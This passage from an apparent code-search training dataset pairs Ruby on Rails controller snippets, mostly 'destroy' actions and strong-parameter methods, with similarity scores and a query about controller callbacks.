"def destroy\n @essay = Essay.find(params[:id])\n @essay.destroy\n\n respond_to do |format|\n format.html { redirect_to essays_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @mosttinymobtrail = Mosttinymobtrail.find(params[:id])\n @mosttinymobtrail.destroy\n\n respond_to do |format|\n format.html { redirect_to mosttinymobtrails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patient_history = PatientHistory.find(params[:id])\n @patient_history.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n render_json_auto @survey.delete_filter(params[:id].to_i) and return\n end",
"def destroy\n @sound_roll = SoundRoll.find(params[:id])\n @sound_roll.destroy\n\n respond_to do |format|\n format.html { redirect_to sound_rolls_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @measurement_log = current_account.measurement_logs.find(params[:id])\n @measurement_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(measurement_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @audio = Audio.find(params[:id])\n @audio.destroy\n\n respond_to do |format|\n format.html { redirect_to audios_url, :notice => \"Audio was successfully delete.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_storage_log.destroy\n respond_to do |format|\n format.html { redirect_to sample_storage_logs_url, notice: 'Sample storage log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n r = @api.destroy_attendance(params[:id])\n respond_to do |format|\n if r.code == 204\n format.html { redirect_to attendances_url, notice: 'Attendance was successfully destroy.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to attendances_url, alert: response['message']}\n end\n end\n end",
"def destroy\n @audio_recording.destroy\n respond_to do |format|\n format.html { redirect_to audio_recordings_url, notice: 'Audio recording was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to \"/dashboard\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset = current_user.assets.find(params[:id])\n @asset.destroy\n track_activity @asset\n\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tap_log_record = current_account.tap_log_records.find(params[:id])\n authorize! :delete, @tap_log_record\n @tap_log_record.destroy\n\n respond_to do |format|\n format.html { redirect_to(tap_log_records_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @moretinymobtrail = Moretinymobtrail.find(params[:id])\n @moretinymobtrail.destroy\n\n respond_to do |format|\n format.html { redirect_to moretinymobtrails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n redirect_to acm300_logs_path\n \n # @acm_logs300_log.destroy\n # respond_to do |format|\n # format.html { redirect_to acm300_logs_url, notice: 'Acm300 log was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @recording = Recording.find_by_permalink(params[:id])\n @recording.destroy\n\n respond_to do |format|\n format.html { redirect_to(recordings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @status_record = StatusRecord.find(params[:id])\n @status_record.destroy\n\n respond_to do |format|\n format.html { redirect_to status_records_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shoot = Shoot.find(params[:id])\n @shoot.destroy\n\n respond_to do |format|\n format.html { redirect_to shoots_url }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @report.destroy!\n render json: {status: :ok}\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy\n @hit = Hit.find(params[:id])\n @hit.reactions.destroy_all\n @hit.destroy\n\n respond_to do |format|\n format.html { redirect_to hits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @backend_stat = Backend::Stat.find(params[:id])\n @backend_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_stats_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @trail.destroy\n respond_to do |format|\n format.html { redirect_to trails_url, notice: 'Trail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to healths_url, notice: 'Health was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = @api_v1_canvas.id\n @api_v1_canvas.destroy\n respond_to do |format|\n format.html do\n redirect_to api_v1_canvases_url, notice: 'Canvas was successfully destroyed.'\n end\n\n format.json do\n msg = { id: id }\n broadcast(\"deleted\", msg)\n head :no_content\n end\n end\n end",
"def destroy\n @alert = Alert.find(params[:id])\n @alert.destroy\n\n respond_to do |format|\n format.html { redirect_to alerts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alert = Alert.find(params[:id])\n @alert.destroy\n\n respond_to do |format|\n format.html { redirect_to alerts_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n Mailgun.submit :delete, webhook_url(id)\n end",
"def destroy\n @dlog = Dlog.find(params[:id])\n @dlog.destroy\n\n respond_to do |format|\n format.html { redirect_to dlogs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audio_story.destroy\n respond_to do |format|\n format.html { redirect_to audio_stories_url, notice: 'Audio story was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @capture = Capture.find(params[:id])\n @capture.destroy\n\n respond_to do |format|\n format.html { redirect_to captures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def destroy\n @sleep_log = SleepLog.find(params[:id])\n @sleep_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(sleep_logs_url) }\n format.xml { head :ok }\n end\n end",
"def delete_by_uuid uuid\n deliberately_unscoped(Webhook).where(uuid: uuid).destroy\n end",
"def destroy\n @beat = Beat.find(params[:id])\n @beat.destroy\n\n respond_to do |format|\n format.html { redirect_to beats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_time_trial = MyTimeTrial.find(params[:id])\n @my_time_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to my_time_trials_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @replay = Replay.find(params[:id])\n @replay.destroy\n\n respond_to do |format|\n format.html { redirect_to(replays_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to absences_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_audit = StockAudit.new\n @stock_audit.user = current_user\n @stock_audit.stock = @stock\n @stock_audit.comment = \"destroyed stock unit with an ID of #{@stock.id}\"\n @stock_audit.save\n @stock.destroy\n respond_to do |format|\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Track.destroy(params[:id])\n delete_file BSON::ObjectId(params[:id])\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @story_status = StoryStatus.find(params[:id])\n @story_status.destroy\n\n respond_to do |format|\n format.html { redirect_to story_statuses_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.7506409",
"0.72189516",
"0.69374704",
"0.6898264",
"0.6835532",
"0.67364204",
"0.67183477",
"0.67174584",
"0.6707446",
"0.6698856",
"0.66728926",
"0.66654",
"0.66302913",
"0.66241074",
"0.65913737",
"0.65548253",
"0.6525144",
"0.65009105",
"0.6457753",
"0.644951",
"0.6431216",
"0.6406952",
"0.6326134",
"0.6325412",
"0.629488",
"0.62872916",
"0.628032",
"0.62703824",
"0.62634736",
"0.62564707",
"0.62549055",
"0.6232029",
"0.6226535",
"0.6226176",
"0.62229025",
"0.6208913",
"0.6208913",
"0.620594",
"0.62031",
"0.6199748",
"0.6190254",
"0.6189025",
"0.6188129",
"0.6187709",
"0.61859",
"0.6185249",
"0.6183353",
"0.61757797",
"0.61716264",
"0.61686206",
"0.61501014",
"0.6146582",
"0.61455226",
"0.6136666",
"0.6134709",
"0.6133332",
"0.6131497",
"0.61304265",
"0.6125173",
"0.6120136",
"0.61149293",
"0.61121416",
"0.6109045",
"0.61072946",
"0.6106185",
"0.6100188",
"0.60938054",
"0.60933685",
"0.609051",
"0.60892665",
"0.6088124",
"0.6085168",
"0.6083316",
"0.60827315",
"0.60822165",
"0.6081477",
"0.6080584",
"0.60782754",
"0.60778487",
"0.60770303",
"0.6076371",
"0.6075925",
"0.6073331",
"0.6072883",
"0.60716784",
"0.60700434",
"0.6069422",
"0.6068754",
"0.60687244",
"0.60671705",
"0.6066057",
"0.6063843",
"0.6063843",
"0.6063843",
"0.6063843",
"0.6060955",
"0.6060735",
"0.6059047",
"0.60588735",
"0.6055533"
] |
0.7294166
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_audit
@audit = Audit.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def audit_params
params.require(:audit).permit(:user_id, :mod_action_id, :obj_id, :interactionDate)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
